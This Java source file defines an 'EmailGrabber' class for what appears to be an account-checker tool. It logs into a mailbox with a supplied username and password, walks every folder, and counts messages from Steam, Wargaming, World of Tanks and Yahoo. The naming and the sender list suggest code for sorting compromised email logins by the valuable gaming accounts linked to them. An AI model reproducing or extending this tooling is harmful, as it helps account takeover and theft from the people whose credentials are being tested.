package accs.model.otheraccessories;

import java.net.URL;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Map.Entry;

import javax.mail.Address;
import javax.mail.FetchProfile;
import javax.mail.Folder;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Store;
import javax.mail.internet.InternetAddress;

import accs.model.Account;
import accs.model.AccountChecker;
import accs.model.Context;
import accs.model.mail.MailBoxListener;
import accs.model.mail.MailChecker;

public class EmailGrabber implements AccountChecker {

	public Account login(String user, String password, Context ctx) throws Exception {
		MailChecker checker=new MailChecker();
		checker.checkAdress(user, password, new MailBoxListener() {
			public void mailboxOpen(Store store) throws Exception {
				ArrayList<String> sender=new ArrayList<String>();
				sender.add("yahoo.com");
				sender.add("steampowered.com");
				sender.add("wargaming.net");
				sender.add("worldoftanks.eu");
				
				HashMap<String,Integer> data=new HashMap<String,Integer>();
				for(String s : sender) {
					data.put(s,0);
				}
				
				crawl(store.getFolder("INBOX"),data);
				
				for(Entry<String,Integer> entry : data.entrySet()) {
					System.out.println(entry.getKey()+" -> "+entry.getValue());
				}
			}
		});
		
		return null;
	}
	
	private void crawl(Folder folder, HashMap<String,Integer> data) throws MessagingException { System.out.println("folder:"+folder.getFullName());
		folder.open(Folder.READ_ONLY);
		
		FetchProfile profile=new FetchProfile();
		profile.add("From");
		
		Message[] messages=folder.getMessages();
		folder.fetch(messages,profile);
		
		for(Message msg:messages) {
			for(Address address:msg.getFrom()) {
				if(address instanceof InternetAddress) {
					InternetAddress mailAddress=(InternetAddress)address;
					String mail=mailAddress.getAddress();
					
					int index=mail.indexOf('@');
					if(index!=-1) mail=mail.substring(index+1);
					
					Integer number=data.get(mail);
					if(number!=null) {
						number++;
						data.put(mail,number);
					}
				}
			}
		}
		
		folder.close(false);
		
		for(Folder f:folder.list()) {
			crawl(f,data);
		}
	}

	public String getName() {
		return "mail_crawler";
	}

	public URL getImage() {
		return null;
	}
}